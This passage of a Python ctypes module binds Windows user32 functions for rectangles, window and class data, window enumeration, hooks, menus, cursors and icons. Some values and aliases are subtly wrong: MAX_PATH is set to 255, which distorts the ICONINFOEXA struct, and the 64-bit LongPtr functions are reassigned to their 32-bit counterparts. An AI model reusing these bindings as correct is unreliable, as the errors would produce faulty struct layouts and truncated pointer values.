user32.SetRect\nSetRect.restype = WINAPI\n\n\n# WINAPI\n# SetRectEmpty(\n# _Out_ LPRECT lprc);\nSetRectEmpty = user32.SetRectEmpty\nSetRectEmpty.restype = WINAPI\n\n\n# WINAPI\n# CopyRect(\n# _Out_ LPRECT lprcDst,\n# _In_ CONST RECT *lprcSrc);\nCopyRect = user32.CopyRect\nCopyRect.restype = WINAPI\n\n\n# WINAPI\n# InflateRect(\n# _Inout_ LPRECT lprc,\n# _In_ INT dx,\n# _In_ INT dy);\nInflateRect = user32.InflateRect\nInflateRect.restype = WINAPI\n\n\n# WINAPI\n# IntersectRect(\n# _Out_ LPRECT lprcDst,\n# _In_ CONST RECT *lprcSrc1,\n# _In_ CONST RECT *lprcSrc2);\nIntersectRect = user32.IntersectRect\nIntersectRect.restype = WINAPI\n\n\n# WINAPI\n# UnionRect(\n# _Out_ LPRECT lprcDst,\n# _In_ CONST RECT *lprcSrc1,\n# _In_ CONST RECT *lprcSrc2);\nUnionRect = user32.UnionRect\nUnionRect.restype = WINAPI\n\n\n# WINAPI\n# SubtractRect(\n# _Out_ LPRECT lprcDst,\n# _In_ CONST RECT *lprcSrc1,\n# _In_ CONST RECT *lprcSrc2);\nSubtractRect = user32.SubtractRect\nSubtractRect.restype = WINAPI\n\n\n# WINAPI\n# OffsetRect(\n# _Inout_ LPRECT lprc,\n# _In_ INT dx,\n# _In_ INT dy);\nOffsetRect = user32.OffsetRect\nOffsetRect.restype = WINAPI\n\n\n# WINAPI\n# IsRectEmpty(\n# _In_ CONST RECT *lprc);\nIsRectEmpty = user32.IsRectEmpty\nIsRectEmpty.restype = WINAPI\n\n\n# WINAPI\n# EqualRect(\n# _In_ CONST RECT *lprc1,\n# _In_ CONST RECT *lprc2);\nEqualRect = user32.EqualRect\nEqualRect.restype = WINAPI\n\n\n# WINAPI\n# PtInRect(\n# _In_ CONST RECT *lprc,\n# _In_ POINT pt);\nPtInRect = user32.PtInRect\nPtInRect.restype = WINAPI\n\n\n# WINAPI\n# GetWindowWord(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowWord = user32.GetWindowWord\nGetWindowWord.restype = WINAPI\n\n\n# WINAPI\n# SetWindowWord(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ WORD wNewWord);\nSetWindowWord = user32.SetWindowWord\nSetWindowWord.restype = WINAPI\n\n\n# WINAPI\n# GetWindowLongA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowLongA = user32.GetWindowLongA\nGetWindowLongA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowLongW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowLongW = user32.GetWindowLongW\nGetWindowLongW.restype = WINAPI\n\nGetWindowLong = GetWindowLongW\n# GetWindowLong = GetWindowLongA\n\n# WINAPI\n# SetWindowLongA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG dwNewLong);\nSetWindowLongA = user32.SetWindowLongA\nSetWindowLongA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowLongW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG dwNewLong);\nSetWindowLongW = user32.SetWindowLongW\nSetWindowLongW.restype = WINAPI\n\nSetWindowLong = SetWindowLongW\n# SetWindowLong = SetWindowLongA\n\n# WINAPI\n# GetWindowLongPtrA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowLongPtrA = user32.GetWindowLongPtrA\nGetWindowLongPtrA.restype = WINAPI\n\n\n# WINAPI\n# GetWindowLongPtrW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetWindowLongPtrW = user32.GetWindowLongPtrW\nGetWindowLongPtrW.restype = WINAPI\n\nGetWindowLongPtr = GetWindowLongPtrW\n# GetWindowLongPtr = GetWindowLongPtrA\n\n# WINAPI\n# SetWindowLongPtrA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG_PTR dwNewLong);\nSetWindowLongPtrA = user32.SetWindowLongPtrA\nSetWindowLongPtrA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowLongPtrW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG_PTR dwNewLong);\nSetWindowLongPtrW = user32.SetWindowLongPtrW\nSetWindowLongPtrW.restype = WINAPI\n\nSetWindowLongPtr = SetWindowLongPtrW\n# SetWindowLongPtr = SetWindowLongPtrA\n# GetWindowLongPtrA = GetWindowLongA\nGetWindowLongPtrW = GetWindowLongW\nGetWindowLongPtr = GetWindowLongPtrW\n# GetWindowLongPtr = GetWindowLongPtrA\n# SetWindowLongPtrA = SetWindowLongA\nSetWindowLongPtrW = SetWindowLongW\nSetWindowLongPtr = SetWindowLongPtrW\n# SetWindowLongPtr = SetWindowLongPtrA\n\n# WINAPI\n# GetClassWord(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassWord = user32.GetClassWord\nGetClassWord.restype = WINAPI\n\n\n# WINAPI\n# SetClassWord(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ WORD wNewWord);\nSetClassWord = user32.SetClassWord\nSetClassWord.restype = WINAPI\n\n\n# WINAPI\n# GetClassLongA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassLongA = user32.GetClassLongA\nGetClassLongA.restype = WINAPI\n\n\n# WINAPI\n# GetClassLongW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassLongW = user32.GetClassLongW\nGetClassLongW.restype = WINAPI\n\nGetClassLong = GetClassLongW\n# GetClassLong = GetClassLongA\n\n# WINAPI\n# SetClassLongA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG dwNewLong);\nSetClassLongA = user32.SetClassLongA\nSetClassLongA.restype = WINAPI\n\n\n# WINAPI\n# SetClassLongW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG dwNewLong);\nSetClassLongW = user32.SetClassLongW\nSetClassLongW.restype = WINAPI\n\nSetClassLong = SetClassLongW\n# SetClassLong = SetClassLongA\n\n# WINAPI\n# GetClassLongPtrA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassLongPtrA = user32.GetClassLongPtrA\nGetClassLongPtrA.restype = WINAPI\n\n\n# WINAPI\n# GetClassLongPtrW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex);\nGetClassLongPtrW = user32.GetClassLongPtrW\nGetClassLongPtrW.restype = WINAPI\n\nGetClassLongPtr = GetClassLongPtrW\n# GetClassLongPtr = GetClassLongPtrA\n\n# WINAPI\n# SetClassLongPtrA(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG_PTR dwNewLong);\nSetClassLongPtrA = user32.SetClassLongPtrA\nSetClassLongPtrA.restype = WINAPI\n\n\n# WINAPI\n# SetClassLongPtrW(\n# _In_ HWND hWnd,\n# _In_ INT nIndex,\n# _In_ LONG_PTR dwNewLong);\nSetClassLongPtrW = user32.SetClassLongPtrW\nSetClassLongPtrW.restype = WINAPI\n\nSetClassLongPtr = SetClassLongPtrW\n# SetClassLongPtr = SetClassLongPtrA\n# GetClassLongPtrA = GetClassLongA\nGetClassLongPtrW = GetClassLongW\nGetClassLongPtr = GetClassLongPtrW\n# GetClassLongPtr = GetClassLongPtrA\n# SetClassLongPtrA = SetClassLongA\nSetClassLongPtrW = SetClassLongW\nSetClassLongPtr = SetClassLongPtrW\n# SetClassLongPtr = SetClassLongPtrA\n\n# WINAPI\n# GetProcessDefaultLayout(\n# _Out_ DWORD *pdwDefaultLayout);\nGetProcessDefaultLayout = user32.GetProcessDefaultLayout\nGetProcessDefaultLayout.restype = WINAPI\n\n\n# WINAPI\n# SetProcessDefaultLayout(\n# _In_ DWORD dwDefaultLayout);\nSetProcessDefaultLayout = user32.SetProcessDefaultLayout\nSetProcessDefaultLayout.restype = WINAPI\n\n\n# WINAPI\n# GetDesktopWindow(\n# VOID);\nGetDesktopWindow = user32.GetDesktopWindow\nGetDesktopWindow.restype = WINAPI\n\n\n# WINAPI\n# GetParent(\n# _In_ HWND hWnd);\nGetParent = user32.GetParent\nGetParent.restype = WINAPI\n\n\n# WINAPI\n# SetParent(\n# _In_ HWND hWndChild,\n# _In_opt_ HWND hWndNewParent);\nSetParent = user32.SetParent\nSetParent.restype = WINAPI\n\n\n# WINAPI\n# EnumChildWindows(\n# _In_opt_ HWND hWndParent,\n# _In_ WNDENUMPROC lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumChildWindows = user32.EnumChildWindows\nEnumChildWindows.restype = WINAPI\n\n\n# WINAPI\n# FindWindowA(\n# _In_opt_ LPCSTR lpClassName,\n# _In_opt_ LPCSTR lpWindowName);\nFindWindowA = user32.FindWindowA\nFindWindowA.restype = WINAPI\n\n\n# WINAPI\n# FindWindowW(\n# _In_opt_ LPCWSTR lpClassName,\n# _In_opt_ LPCWSTR lpWindowName);\nFindWindowW = user32.FindWindowW\nFindWindowW.restype = WINAPI\n\nFindWindow = FindWindowW\n# FindWindow = FindWindowA\n\n# WINAPI\n# FindWindowExA(\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HWND hWndChildAfter,\n# _In_opt_ LPCSTR lpszClass,\n# _In_opt_ LPCSTR lpszWindow);\nFindWindowExA = user32.FindWindowExA\nFindWindowExA.restype = WINAPI\n\n\n# WINAPI\n# FindWindowExW(\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HWND hWndChildAfter,\n# _In_opt_ LPCWSTR lpszClass,\n# _In_opt_ LPCWSTR lpszWindow);\nFindWindowExW = user32.FindWindowExW\nFindWindowExW.restype = WINAPI\n\nFindWindowEx = FindWindowExW\n# FindWindowEx = FindWindowExA\n\n# WINAPI\n# GetShellWindow(\n# VOID);\nGetShellWindow = user32.GetShellWindow\nGetShellWindow.restype = WINAPI\n\n\n# WINAPI\n# RegisterShellHookWindow(\n# _In_ HWND hwnd);\nRegisterShellHookWindow = user32.RegisterShellHookWindow\nRegisterShellHookWindow.restype = WINAPI\n\n\n# WINAPI\n# DeregisterShellHookWindow(\n# _In_ HWND hwnd);\nDeregisterShellHookWindow = user32.DeregisterShellHookWindow\nDeregisterShellHookWindow.restype = WINAPI\n\n\n# WINAPI\n# EnumWindows(\n# _In_ WNDENUMPROC lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumWindows = user32.EnumWindows\nEnumWindows.restype = WINAPI\n\n\n# WINAPI\n# EnumThreadWindows(\n# _In_ DWORD dwThreadId,\n# _In_ WNDENUMPROC lpfn,\n# _In_ LPARAM lParam);\nEnumThreadWindows = user32.EnumThreadWindows\nEnumThreadWindows.restype = WINAPI\n\nfrom basetsd_h import HandleToULong\n\ndef EnumTaskWindows(hTask, lpfn, lParam):\n return EnumThreadWindows(HandleToULong(hTask), lpfn, lParam)\n\n# WINAPI\n# GetClassNameA(\n# _In_ HWND hWnd,\n# _Out_writes_to_(nMaxCount, return) LPSTR lpClassName,\n# _In_ INT nMaxCount\n# );\nGetClassNameA = user32.GetClassNameA\nGetClassNameA.restype = WINAPI\n\n\n# WINAPI\n# GetClassNameW(\n# _In_ HWND hWnd,\n# _Out_writes_to_(nMaxCount, return) LPWSTR lpClassName,\n# _In_ INT nMaxCount\n# );\nGetClassNameW = user32.GetClassNameW\nGetClassNameW.restype = WINAPI\n\nGetClassName = GetClassNameW\n# GetClassName = GetClassNameA\n\n# INT\n# GetClassName(\n# HWND hWnd,\n# LPTSTR lpClassName,\n# INT nMaxCount\n# )\n# GetClassName = user32.GetClassName\n# GetClassName.restype = INT\n\n\n# WINAPI\n# GetTopWindow(\n# _In_opt_ HWND hWnd);\nGetTopWindow = user32.GetTopWindow\nGetTopWindow.restype = WINAPI\n\n\n\ndef GetNextWindow(hWnd, wCmd):\n return GetWindow(hWnd, wCmd)\n\n\n# WINAPI\n# GetWindowThreadProcessId(\n# _In_ HWND hWnd,\n# _Out_opt_ LPDWORD lpdwProcessId);\nGetWindowThreadProcessId = user32.GetWindowThreadProcessId\nGetWindowThreadProcessId.restype = WINAPI\n\n\n# WINAPI\n# IsGUIThread(\n# _In_ BOOL bConvert);\nIsGUIThread = user32.IsGUIThread\nIsGUIThread.restype = WINAPI\n\n\n\ndef GetWindowTask(hWnd):\n return GetWindowThreadProcessId(hWnd, NULL)\n\n# WINAPI\n# GetLastActivePopup(\n# _In_ HWND hWnd);\nGetLastActivePopup = user32.GetLastActivePopup\nGetLastActivePopup.restype = WINAPI\n\nGW_HWNDFIRST = 0x00000000\nGW_HWNDLAST = 0x00000001\nGW_HWNDNEXT = 0x00000002\nGW_HWNDPREV = 0x00000003\nGW_OWNER = 0x00000004\nGW_CHILD = 0x00000005\nGW_MAX = 0x00000005\nGW_ENABLEDPOPUP = 0x00000006\nGW_MAX = 0x00000006\n\n# WINAPI\n# GetWindow(\n# _In_ HWND hWnd,\n# _In_ UINT uCmd);\nGetWindow = user32.GetWindow\nGetWindow.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookA(\n# _In_ INT nFilterType,\n# _In_ HOOKPROC pfnFilterProc);\nSetWindowsHookA = user32.SetWindowsHookA\nSetWindowsHookA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookW(\n# _In_ INT nFilterType,\n# _In_ HOOKPROC pfnFilterProc);\nSetWindowsHookW = user32.SetWindowsHookW\nSetWindowsHookW.restype = WINAPI\n\nSetWindowsHook = SetWindowsHookW\n# SetWindowsHook = SetWindowsHookA\n\n# WINAPI\n# SetWindowsHookA(\n# _In_ INT nFilterType,\n# _In_ HOOKPROC pfnFilterProc);\nSetWindowsHookA = user32.SetWindowsHookA\nSetWindowsHookA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookW(\n# _In_ INT nFilterType,\n# _In_ HOOKPROC pfnFilterProc);\nSetWindowsHookW = user32.SetWindowsHookW\nSetWindowsHookW.restype = WINAPI\n\nSetWindowsHook = SetWindowsHookW\n# SetWindowsHook = SetWindowsHookA\n\n# WINAPI\n# UnhookWindowsHook(\n# _In_ INT nCode,\n# _In_ HOOKPROC pfnFilterProc);\nUnhookWindowsHook = user32.UnhookWindowsHook\nUnhookWindowsHook.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookExA(\n# _In_ INT idHook,\n# _In_ HOOKPROC lpfn,\n# _In_opt_ HINSTANCE hmod,\n# _In_ DWORD dwThreadId);\nSetWindowsHookExA = user32.SetWindowsHookExA\nSetWindowsHookExA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookExW(\n# _In_ INT idHook,\n# _In_ HOOKPROC lpfn,\n# _In_opt_ HINSTANCE hmod,\n# _In_ DWORD dwThreadId);\nSetWindowsHookExW = user32.SetWindowsHookExW\nSetWindowsHookExW.restype = WINAPI\n\nSetWindowsHookEx = SetWindowsHookExW\n# SetWindowsHookEx = SetWindowsHookExA\n\n# WINAPI\n# UnhookWindowsHookEx(\n# _In_ HHOOK hhk);\nUnhookWindowsHookEx = user32.UnhookWindowsHookEx\nUnhookWindowsHookEx.restype = WINAPI\n\n\n# WINAPI\n# CallNextHookEx(\n# _In_opt_ HHOOK hhk,\n# _In_ INT nCode,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallNextHookEx = user32.CallNextHookEx\nCallNextHookEx.restype = WINAPI\n\n\n\ndef DefHookProc(nCode, wParam, lParam, phhk):\n return CallNextHookEx(ctypes.byref(phhk), nCode, wParam, lParam)\n\n\nMF_INSERT = 0x00000000\nMF_CHANGE = 0x00000080\nMF_APPEND = 0x00000100\nMF_DELETE = 0x00000200\nMF_REMOVE = 0x00001000\nMF_BYCOMMAND = 0x00000000\nMF_BYPOSITION = 0x00000400\nMF_SEPARATOR = 0x00000800\nMF_ENABLED = 0x00000000\nMF_GRAYED = 0x00000001\nMF_DISABLED = 0x00000002\nMF_UNCHECKED = 0x00000000\nMF_CHECKED = 0x00000008\nMF_USECHECKBITMAPS = 0x00000200\nMF_STRING = 0x00000000\nMF_BITMAP = 0x00000004\nMF_OWNERDRAW = 0x00000100\nMF_POPUP = 0x00000010\nMF_MENUBARBREAK = 0x00000020\nMF_MENUBREAK = 0x00000040\nMF_UNHILITE = 0x00000000\nMF_HILITE = 0x00000080\nMF_DEFAULT = 0x00001000\nMF_SYSMENU = 0x00002000\nMF_HELP = 0x00004000\nMF_RIGHTJUSTIFY = 0x00004000\nMF_MOUSESELECT = 0x00008000\nMF_END = 0x00000080\nMFT_STRING = MF_STRING\nMFT_BITMAP = MF_BITMAP\nMFT_MENUBARBREAK = MF_MENUBARBREAK\nMFT_MENUBREAK = MF_MENUBREAK\nMFT_OWNERDRAW = MF_OWNERDRAW\nMFT_RADIOCHECK = 0x00000200\nMFT_SEPARATOR = MF_SEPARATOR\nMFT_RIGHTORDER = 0x00002000\nMFT_RIGHTJUSTIFY = MF_RIGHTJUSTIFY\nMFS_GRAYED = 0x00000003\nMFS_DISABLED = MFS_GRAYED\nMFS_CHECKED = MF_CHECKED\nMFS_HILITE = MF_HILITE\nMFS_ENABLED = MF_ENABLED\nMFS_UNCHECKED = MF_UNCHECKED\nMFS_UNHILITE = MF_UNHILITE\nMFS_DEFAULT = MF_DEFAULT\n\n# WINAPI\n# CheckMenuRadioItem(\n# _In_ HMENU hmenu,\n# _In_ UINT first,\n# _In_ UINT last,\n# _In_ UINT check,\n# _In_ UINT flags);\nCheckMenuRadioItem = user32.CheckMenuRadioItem\nCheckMenuRadioItem.restype = WINAPI\n\n\nclass MENUITEMTEMPLATEHEADER(ctypes.Structure):\n _fields_ = [\n ('versionNumber', WORD),\n ('offset', WORD),\n ]\n\n\nPMENUITEMTEMPLATEHEADER = POINTER(MENUITEMTEMPLATEHEADER)\n\n\n\nclass MENUITEMTEMPLATE(ctypes.Structure):\n _fields_ = [\n ('mtOption', WORD),\n ('mtID', WORD),\n ('mtString', WCHAR * 1),\n ]\n\n\nPMENUITEMTEMPLATE = POINTER(MENUITEMTEMPLATE)\n\n\nMF_END = 0x00000080\nSC_SIZE = 0x0000F000\nSC_MOVE = 0x0000F010\nSC_MINIMIZE = 0x0000F020\nSC_MAXIMIZE = 0x0000F030\nSC_NEXTWINDOW = 0x0000F040\nSC_PREVWINDOW = 0x0000F050\nSC_CLOSE = 0x0000F060\nSC_VSCROLL = 0x0000F070\nSC_HSCROLL = 0x0000F080\nSC_MOUSEMENU = 0x0000F090\nSC_KEYMENU = 0x0000F100\nSC_ARRANGE = 0x0000F110\nSC_RESTORE = 0x0000F120\nSC_TASKLIST = 0x0000F130\nSC_SCREENSAVE = 0x0000F140\nSC_HOTKEY = 0x0000F150\nSC_DEFAULT = 0x0000F160\nSC_MONITORPOWER = 0x0000F170\nSC_CONTEXTHELP = 0x0000F180\nSC_SEPARATOR = 0x0000F00F\nSCF_ISSECURE = 0x00000001\n\n\ndef GET_SC_WPARAM(wParam):\n return wParam & 0xFFF0\n\n\nSC_ICON = SC_MINIMIZE\nSC_ZOOM = SC_MAXIMIZE\n\n# WINAPI\n# LoadBitmapA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpBitmapName);\nLoadBitmapA = user32.LoadBitmapA\nLoadBitmapA.restype = WINAPI\n\n\n# WINAPI\n# LoadBitmapW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpBitmapName);\nLoadBitmapW = user32.LoadBitmapW\nLoadBitmapW.restype = WINAPI\n\nLoadBitmap = LoadBitmapW\n# LoadBitmap = LoadBitmapA\n\n# WINAPI\n# LoadCursorA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpCursorName);\nLoadCursorA = user32.LoadCursorA\nLoadCursorA.restype = WINAPI\n\n\n# WINAPI\n# LoadCursorW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpCursorName);\nLoadCursorW = user32.LoadCursorW\nLoadCursorW.restype = WINAPI\n\nLoadCursor = LoadCursorW\n# LoadCursor = LoadCursorA\n\n# WINAPI\n# LoadCursorFromFileA(\n# _In_ LPCSTR lpFileName);\nLoadCursorFromFileA = user32.LoadCursorFromFileA\nLoadCursorFromFileA.restype = WINAPI\n\n\n# WINAPI\n# LoadCursorFromFileW(\n# _In_ LPCWSTR lpFileName);\nLoadCursorFromFileW = user32.LoadCursorFromFileW\nLoadCursorFromFileW.restype = WINAPI\n\nLoadCursorFromFile = LoadCursorFromFileW\n# LoadCursorFromFile = LoadCursorFromFileA\n\n# WINAPI\n# CreateCursor(\n# _In_opt_ HINSTANCE hInst,\n# _In_ INT xHotSpot,\n# _In_ INT yHotSpot,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_ CONST VOID *pvANDPlane,\n# _In_ CONST VOID *pvXORPlane);\nCreateCursor = user32.CreateCursor\nCreateCursor.restype = WINAPI\n\n\n# WINAPI\n# DestroyCursor(\n# _In_ HCURSOR hCursor);\nDestroyCursor = user32.DestroyCursor\nDestroyCursor.restype = WINAPI\n\n\n# WINAPI\n# CopyCursor(\n# _In_ HCURSOR hCursor);\nCopyCursor = user32.CopyCursor\nCopyCursor.restype = WINAPI\n\nIDC_ARROW = MAKEINTRESOURCE(32512)\nIDC_IBEAM = MAKEINTRESOURCE(32513)\nIDC_WAIT = MAKEINTRESOURCE(32514)\nIDC_CROSS = MAKEINTRESOURCE(32515)\nIDC_UPARROW = MAKEINTRESOURCE(32516)\nIDC_SIZE = MAKEINTRESOURCE(32640)\nIDC_ICON = MAKEINTRESOURCE(32641)\nIDC_SIZENWSE = MAKEINTRESOURCE(32642)\nIDC_SIZENESW = MAKEINTRESOURCE(32643)\nIDC_SIZEWE = MAKEINTRESOURCE(32644)\nIDC_SIZENS = MAKEINTRESOURCE(32645)\nIDC_SIZEALL = MAKEINTRESOURCE(32646)\nIDC_NO = MAKEINTRESOURCE(32648)\nIDC_HAND = MAKEINTRESOURCE(32649)\nIDC_APPSTARTING = MAKEINTRESOURCE(32650)\nIDC_HELP = MAKEINTRESOURCE(32651)\nIDC_PIN = MAKEINTRESOURCE(32671)\nIDC_PERSON = MAKEINTRESOURCE(32672)\n\n# WINAPI\n# SetSystemCursor(\n# _In_ HCURSOR hcur,\n# _In_ DWORD id);\nSetSystemCursor = user32.SetSystemCursor\nSetSystemCursor.restype = WINAPI\n\n\nclass _ICONINFO(ctypes.Structure):\n _fields_ = [\n ('fIcon', BOOL),\n ('xHotspot', DWORD),\n ('yHotspot', DWORD),\n ('hbmMask', HBITMAP),\n ('hbmColor', HBITMAP),\n ]\n\n\nICONINFO = _ICONINFO\n\n\nPICONINFO = POINTER(ICONINFO)\n\n# WINAPI\n# LoadIconA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpIconName);\nLoadIconA = user32.LoadIconA\nLoadIconA.restype = WINAPI\n\n\n# WINAPI\n# LoadIconW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpIconName);\nLoadIconW = user32.LoadIconW\nLoadIconW.restype = WINAPI\n\nLoadIcon = LoadIconW\n# LoadIcon = LoadIconA\n\n# WINAPI\n# PrivateExtractIconsA(\n# _In_reads_(MAX_PATH) LPCSTR szFileName,\n# _In_ INT nIconIndex,\n# _In_ INT cxIcon,\n# _In_ INT cyIcon,\n# _Out_writes_opt_(nIcons) HICON *phicon,\n# _Out_writes_opt_(nIcons) UINT *piconid,\n# _In_ UINT nIcons,\n# _In_ UINT flags);\nPrivateExtractIconsA = user32.PrivateExtractIconsA\nPrivateExtractIconsA.restype = WINAPI\n\n\n# WINAPI\n# PrivateExtractIconsW(\n# _In_reads_(MAX_PATH) LPCWSTR szFileName,\n# _In_ INT nIconIndex,\n# _In_ INT cxIcon,\n# _In_ INT cyIcon,\n# _Out_writes_opt_(nIcons) HICON *phicon,\n# _Out_writes_opt_(nIcons) UINT *piconid,\n# _In_ UINT nIcons,\n# _In_ UINT flags);\nPrivateExtractIconsW = user32.PrivateExtractIconsW\nPrivateExtractIconsW.restype = WINAPI\n\nPrivateExtractIcons = PrivateExtractIconsW\n# PrivateExtractIcons = PrivateExtractIconsA\n\n# WINAPI\n# CreateIcon(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_ BYTE cPlanes,\n# _In_ BYTE cBitsPixel,\n# _In_ CONST BYTE *lpbANDbits,\n# _In_ CONST BYTE *lpbXORbits);\nCreateIcon = user32.CreateIcon\nCreateIcon.restype = WINAPI\n\n\n# WINAPI\n# DestroyIcon(\n# _In_ HICON hIcon);\nDestroyIcon = user32.DestroyIcon\nDestroyIcon.restype = WINAPI\n\n\n# WINAPI\n# LookupIconIdFromDirectory(\n# _In_reads_bytes_(ctypes.sizeof(WORD) * 3) PBYTE presbits,\n# _In_ BOOL fIcon);\nLookupIconIdFromDirectory = user32.LookupIconIdFromDirectory\nLookupIconIdFromDirectory.restype = WINAPI\n\n\n# WINAPI\n# LookupIconIdFromDirectoryEx(\n# _In_reads_bytes_(ctypes.sizeof(WORD) * 3) PBYTE presbits,\n# _In_ BOOL fIcon,\n# _In_ INT cxDesired,\n# _In_ INT cyDesired,\n# _In_ UINT Flags);\nLookupIconIdFromDirectoryEx = user32.LookupIconIdFromDirectoryEx\nLookupIconIdFromDirectoryEx.restype = WINAPI\n\n\n# WINAPI\n# CreateIconFromResource(\n# _In_reads_bytes_(dwResSize) PBYTE presbits,\n# _In_ DWORD dwResSize,\n# _In_ BOOL fIcon,\n# _In_ DWORD dwVer);\nCreateIconFromResource = user32.CreateIconFromResource\nCreateIconFromResource.restype = WINAPI\n\n\n# WINAPI\n# CreateIconFromResourceEx(\n# _In_reads_bytes_(dwResSize) PBYTE presbits,\n# _In_ DWORD dwResSize,\n# _In_ BOOL fIcon,\n# _In_ DWORD dwVer,\n# _In_ INT cxDesired,\n# _In_ INT cyDesired,\n# _In_ UINT Flags);\nCreateIconFromResourceEx = user32.CreateIconFromResourceEx\nCreateIconFromResourceEx.restype = WINAPI\n\n\nclass tagCURSORSHAPE(ctypes.Structure):\n _fields_ = [\n ('xHotSpot', INT),\n ('yHotSpot', INT),\n ('cx', INT),\n ('cy', INT),\n ('cbWidth', INT),\n ('Planes', BYTE),\n ('BitsPixel', BYTE),\n ]\n\n\nCURSORSHAPE = tagCURSORSHAPE\nLPCURSORSHAPE = POINTER(tagCURSORSHAPE)\n\n\nIMAGE_BITMAP = 0x00000000\nIMAGE_ICON = 0x00000001\nIMAGE_CURSOR = 0x00000002\nIMAGE_ENHMETAFILE = 0x00000003\nLR_DEFAULTCOLOR = 0x00000000\nLR_MONOCHROME = 0x00000001\nLR_COLOR = 0x00000002\nLR_COPYRETURNORG = 0x00000004\nLR_COPYDELETEORG = 0x00000008\nLR_LOADFROMFILE = 0x00000010\nLR_LOADTRANSPARENT = 0x00000020\nLR_DEFAULTSIZE = 0x00000040\nLR_VGACOLOR = 0x00000080\nLR_LOADMAP3DCOLORS = 0x00001000\nLR_CREATEDIBSECTION = 0x00002000\nLR_COPYFROMRESOURCE = 0x00004000\nLR_SHARED = 0x00008000\n\n# WINAPI\n# LoadImageA(\n# _In_opt_ HINSTANCE hInst,\n# _In_ LPCSTR name,\n# _In_ UINT type,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT fuLoad);\nLoadImageA = user32.LoadImageA\nLoadImageA.restype = WINAPI\n\n\n# WINAPI\n# LoadImageW(\n# _In_opt_ HINSTANCE hInst,\n# _In_ LPCWSTR name,\n# _In_ UINT type,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT fuLoad);\nLoadImageW = user32.LoadImageW\nLoadImageW.restype = WINAPI\n\nLoadImage = LoadImageW\n# LoadImage = LoadImageA\n\n# WINAPI\n# CopyImage(\n# _In_ HANDLE h,\n# _In_ UINT type,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT flags);\nCopyImage = user32.CopyImage\nCopyImage.restype = WINAPI\n\nDI_MASK = 0x00000001\nDI_IMAGE = 0x00000002\nDI_NORMAL = 0x00000003\nDI_COMPAT = 0x00000004\nDI_DEFAULTSIZE = 0x00000008\nDI_NOMIRROR = 0x00000010\n\n#\n# WINUSERAPI BOOL WINAPI DrawIconEx(\n# _In_ HDC hdc,\n# _In_ INT xLeft,\n# _In_ INT yTop,\n# _In_ HICON hIcon,\n# _In_ INT cxWidth,\n# _In_ INT cyWidth,\n# _In_ UINT istepIfAniCur,\n# _In_opt_ HBRUSH hbrFlickerFreeDraw,\n# _In_ UINT diFlags);\nDrawIconEx = user32.DrawIconEx\nDrawIconEx.restype = WINUSERAPI\n\n\n# WINAPI\n# CreateIconIndirect(\n# _In_ PICONINFO piconinfo);\nCreateIconIndirect = user32.CreateIconIndirect\nCreateIconIndirect.restype = WINAPI\n\n\n# WINAPI\n# CopyIcon(\n# _In_ HICON hIcon);\nCopyIcon = user32.CopyIcon\nCopyIcon.restype = WINAPI\n\n\n# WINAPI\n# GetIconInfo(\n# _In_ HICON hIcon,\n# _Out_ PICONINFO piconinfo);\nGetIconInfo = user32.GetIconInfo\nGetIconInfo.restype = WINAPI\n\nMAX_PATH = 255\n\n\nclass _ICONINFOEXA(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('fIcon', BOOL),\n ('xHotspot', DWORD),\n ('yHotspot', DWORD),\n ('hbmMask', HBITMAP),\n ('hbmColor', HBITMAP),\n ('wResID', WORD),\n ('szModName', CHAR * MAX_PATH),\n ('szResName', CHAR * MAX_PATH),\n ]\n\n\nICONINFOEXA = _ICONINFOEXA\nPICONINFOEXA = POINTER(_ICONINFOEXA)\n\n\n\nclass _ICONINFOEXW(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('fIcon', 